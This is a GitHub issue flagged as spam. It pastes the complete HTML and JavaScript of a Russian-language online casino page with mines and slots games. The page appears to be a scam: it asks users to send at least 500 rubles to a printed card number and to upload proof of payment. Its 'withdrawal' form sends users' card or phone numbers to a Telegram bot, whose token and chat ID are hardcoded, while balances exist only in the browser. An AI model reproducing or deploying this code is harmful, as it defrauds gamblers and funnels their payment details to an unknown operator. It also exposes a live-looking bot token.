Skip to content

[THIS IS SPAM] Html #4098

@astankuprava-crypto

Description

@astankuprava-crypto
<title>ABH_CASINO</title> <style> body{margin:0;background:#060612;color:#00ffff;font-family:Arial,sans-serif;text-align:center;} .neon{text-shadow:0 0 5px #00ffff,0 0 15px #ff0066;} #topbar{position:absolute;top:15px;right:20px;font-size:18px;} #logoutBtn{position:fixed;bottom:20px;left:20px;background:#ff0066;color:#fff;padding:8px 16px;border:none;border-radius:6px;cursor:pointer;} h1{margin-top:70px;} #balanceBox{font-size:18px;color:#ff0066;margin-top:10px;} #game{display:grid;grid-template-columns:repeat(5,60px);grid-template-rows:repeat(3,60px);gap:10px;justify-content:center;margin-top:20px;} .cell{width:60px;height:60px;background:#10102a;border:2px solid #00ffff;border-radius:10px;display:flex;align-items:center;justify-content:center;font-size:22px;cursor:pointer;transition:0.2s;} .safe{background:#001a12;border-color:#00ff99;} .mine{background:#2b0015;border-color:#ff0066;} button{padding:8px 16px;margin:5px;border:none;border-radius:6px;background:#111133;color:#00ffff;border:1px solid #00ffff;cursor:pointer;} input{padding:6px;width:140px;border-radius:6px;border:1px solid #00ffff;background:#10102a;color:#00ffff;margin:5px;text-align:center;} .hidden{display:none;} .slot-container{display:flex;justify-content:center;gap:10px;margin:20px;} .slot{width:60px;height:60px;background:#10102a;border:2px solid #00ffff;display:flex;align-items:center;justify-content:center;font-size:24px;border-radius:6px;} </style>

Вход



Вход Регистрация

Регистрация



Зарегистрироваться Назад

Профиль



Сохранить Назад

Пополнение баланса

Переведите от 500 ₽ на номер: 2202208452998850



Отправить заявку

Назад

Вывод средств


На карту На телефон

Вывести

Назад
Выйти

💣 ABH_CASINO

Баланс: 🪙 0
Профиль Пополнение Игры Вывод

Выберите игру

💣 Мины 🎰 Слоты Назад

Мины

Ставка:
Мины (2-14):
Старт

Текущий выигрыш: 🪙 0

Забрать выигрыш
Назад

Слоты 🎰

Баланс: 0
Ставка:
Крутить
🍒
🍋
🍊

Назад
<script> // ===== Telegram config ===== const TG_BOT_TOKEN = "8272855163:AAEWRU-RTd6Rj8nkxKtbDv5NZQH-RO-bbss"; const TG_CHAT_ID = "8431821142"; // ===== Переменные ===== let currentUser=null; let balance=0; let mines=[]; let opened=0; let bet=0; let currentWin=0; let multiplier=1; let gameActive=false; let withdrawMethod=null; const TOTAL_CELLS=15; const slotSymbols=["🍒","🍋","🍊","🍉","⭐"]; // ===== UI ===== function hideAll(){ document.querySelectorAll("body > div").forEach(d=>d.classList.add("hidden")); } function showApp(){ hideAll(); document.getElementById("app").classList.remove("hidden"); updateUI(); } function showDeposit(){ hideAll(); document.getElementById("depositScreen").classList.remove("hidden"); } function showGameSelection(){ hideAll(); document.getElementById("gameSelectionScreen").classList.remove("hidden"); } function showMines(){ hideAll(); document.getElementById("minesScreen").classList.remove("hidden"); updateUI(); } function showSlots(){ hideAll(); document.getElementById("slotsScreen").classList.remove("hidden"); updateUI(); } function showWithdraw(){ hideAll(); document.getElementById("withdrawScreen").classList.remove("hidden"); updateWithdrawUI(); } function backToApp(){ showApp(); } function showRegister(){ hideAll(); document.getElementById("registerScreen").classList.remove("hidden"); } function backToLogin(){ hideAll(); document.getElementById("auth").classList.remove("hidden"); } // ===== Профиль ===== function showProfile(){ hideAll(); document.getElementById("profileScreen").classList.remove("hidden"); if(currentUser){ const data=JSON.parse(localStorage.getItem("user_"+currentUser)); document.getElementById("newLogin").value=currentUser; document.getElementById("newPassword").value=data.password; document.getElementById("userBalanceProfile").innerText="Баланс: 🪙 "+data.balance; } } function updateProfile(){ let newLogin=document.getElementById("newLogin").value.trim(); let newPassword=document.getElementById("newPassword").value.trim(); if(!newLogin||!newPassword){ alert("Введите данные"); return; } let data=JSON.parse(localStorage.getItem("user_"+currentUser)); data.password=newPassword; if(newLogin!==currentUser){ localStorage.removeItem("user_"+currentUser); currentUser=newLogin; } localStorage.setItem("user_"+currentUser,JSON.stringify(data)); alert("Данные обновлены"); showProfile(); } // ===== Auth ===== function registerUser(){ let login=document.getElementById("regLogin").value.trim(); let password=document.getElementById("regPassword").value.trim(); if(!login||!password){ alert("Введите данные"); return; } if(localStorage.getItem("user_"+login)){ alert("Пользователь существует"); return; } localStorage.setItem("user_"+login,JSON.stringify({password:password,balance:10000})); alert("Регистрация успешна"); backToLogin(); } function loginUser(){ let login=document.getElementById("login").value.trim(); let password=document.getElementById("password").value.trim(); const data=localStorage.getItem("user_"+login); if(!data){ alert("Пользователь не найден"); return; } let user=JSON.parse(data); if(user.password!==password){ alert("Неверный пароль"); return; } currentUser=login; localStorage.setItem("activeUser",login); loadData(); showApp(); } function logout(){ localStorage.removeItem("activeUser"); currentUser=null; backToLogin(); } // ===== Data ===== function loadData(){ const data=JSON.parse(localStorage.getItem("user_"+currentUser)); balance=data.balance; updateUI(); } function saveData(){ const data=JSON.parse(localStorage.getItem("user_"+currentUser)); data.balance=balance; localStorage.setItem("user_"+currentUser,JSON.stringify(data)); } // ===== UI Update ===== function updateUI(){ document.getElementById("balanceBox").innerText="Баланс: 🪙 "+balance; document.getElementById("currentWin").innerText=currentWin; const slotEl=document.getElementById("slotBalance"); if(slotEl) slotEl.innerText=balance; } function updateWithdrawUI(){ document.getElementById("withdrawBalance").innerText="Баланс: 🪙 "+balance; } // ===== Мины ===== function startGame(){ bet=parseInt(document.getElementById("bet").value)||0; let mineTotal=parseInt(document.getElementById("mineCount").value)||3; if(mineTotal<2||mineTotal>14){ alert("Мины 2-14"); return; } if(bet>balance||bet<=0){ alert("Недостаточно средств"); return; } balance-=bet; currentWin=bet; multiplier=1; opened=0; gameActive=true; saveData(); updateUI(); const game=document.getElementById("game"); game.innerHTML=""; mines=[]; while(mines.lengthopenCell(cell,mineTotal); game.appendChild(cell); } document.getElementById("status").innerText="Игра началась"; } function openCell(cell,mineTotal){ if(!gameActive) return; const index=parseInt(cell.dataset.index); if(mines.includes(index)){ cell.classList.add("mine"); cell.innerText="💣"; revealMines(); currentWin=0; gameActive=false; updateUI(); document.getElementById("status").innerText="Вы проиграли"; return; } cell.classList.add("safe"); cell.innerText="💎"; opened++; multiplier+=(mineTotal*0.12); currentWin=Math.floor(bet*multiplier); updateUI(); document.getElementById("status").innerText="Множитель x"+multiplier.toFixed(2); } function cashOut(){ balance+=currentWin; currentWin=0; gameActive=false; saveData(); updateUI(); document.getElementById("status").innerText="Вы забрали выигрыш"; } function revealMines(){ const cells=document.querySelectorAll(".cell"); mines.forEach(i=>{ cells[i].classList.add("mine"); cells[i].innerText="💣"; }); } // ===== Слоты ===== function spinSlots(){ const betAmount=parseInt(document.getElementById("slotBet").value)||0; if(betAmount>balance||betAmount<=0){ alert("Недостаточно средств"); return; } balance-=betAmount; updateUI(); const s1=slotSymbols[Math.floor(Math.random()*slotSymbols.length)]; const s2=slotSymbols[Math.floor(Math.random()*slotSymbols.length)]; const s3=slotSymbols[Math.floor(Math.random()*slotSymbols.length)]; document.getElementById("slot1").innerText=s1; document.getElementById("slot2").innerText=s2; document.getElementById("slot3").innerText=s3; let win=0; if(s1===s2 && s2===s3){ win=betAmount*5; document.getElementById("slotResult").innerText="🎉 Джекпот! Вы выиграли: "+win; } else if(s1===s2 || s2===s3 || s1===s3){ win=betAmount*2; document.getElementById("slotResult").innerText="Вы выиграли: "+win; } else{ document.getElementById("slotResult").innerText="Попробуйте снова"; } balance+=win; saveData(); updateUI(); } // ===== Пополнение ===== function sendDepositToBot(){ let amount=parseInt(document.getElementById("depositAmount").value); let photoInput=document.getElementById("depositPhoto"); if(!amount||amount<500){ alert("Введите сумму от 500 ₽"); return; } if(photoInput.files.length===0){ alert("Загрузите фото перевода"); return; } let file=photoInput.files[0]; let formData=new FormData(); formData.append("chat_id",TG_CHAT_ID); formData.append("caption",`💰 Заявка на пополнение\nПользователь: ${currentUser}\nСумма: ${amount}`); formData.append("photo",file); const buttons={ inline_keyboard:[ [{text:"✅ Подтвердить",callback_data:`confirm_${currentUser}_${amount}`}], [{text:"❌ Отклонить",callback_data:`reject_${currentUser}_${amount}`}] ] }; formData.append("reply_markup", JSON.stringify(buttons)); fetch(`https://api.telegram.org/bot${TG_BOT_TOKEN}/sendPhoto`,{method:"POST",body:formData}) .then(res=>res.json()) .then(data=>{ document.getElementById("depositStatus").innerText="Заявка отправлена, ждите подтверждения!"; }) .catch(err=>{ document.getElementById("depositStatus").innerText="Не удалось отправить заявку!"; }); } // ===== Вывод средств ===== function selectWithdraw(method){ withdrawMethod=method; const input=document.getElementById("withdrawInput"); const btn=document.getElementById("confirmWithdrawBtn"); input.classList.remove("hidden"); btn.classList.remove("hidden"); input.placeholder=method==="карта"?"Номер карты":"Номер телефона"; } function confirmWithdraw(){ let amount=parseInt(document.getElementById("withdrawAmount").value); let recipient=document.getElementById("withdrawInput").value.trim(); if(!amount||amount<1000||amount>balance){ alert("Введите корректную сумму"); return; } if(!recipient){ alert("Введите данные для вывода"); return; } balance-=amount; saveData(); updateWithdrawUI(); let text=`📤 Заявка на вывод\nПользователь: ${currentUser}\nСумма: ${amount}\nМетод: ${withdrawMethod}\nНомер: ${recipient}`; fetch(`[https://api.telegram.org/bot${TG_BOT_TOKEN}/sendMessage?chat_id=${TG_CHAT_ID}&text=${encodeURIComponent(text)}`](https://api.telegram.org/bot$%7BTG_BOT_TOKEN%7D/sendMessage?chat_id=$%7BTG_CHAT_ID%7D&text=$%7BencodeURIComponent(text)%7D%60)); document.getElementById("withdrawStatus").innerText="Заявка отправлена, ждите подтверждения!"; document.getElementById("withdrawInput").value=""; document.getElementById("withdrawAmount").value=""; document.getElementById("withdrawInput").classList.add("hidden"); document.getElementById("confirmWithdrawBtn").classList.add("hidden"); } // ===== Автологин ===== window.onload = function(){ let active = localStorage.getItem("activeUser"); if(active && localStorage.getItem("user_"+active)){ currentUser = active; loadData(); showApp(); } } </script>

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions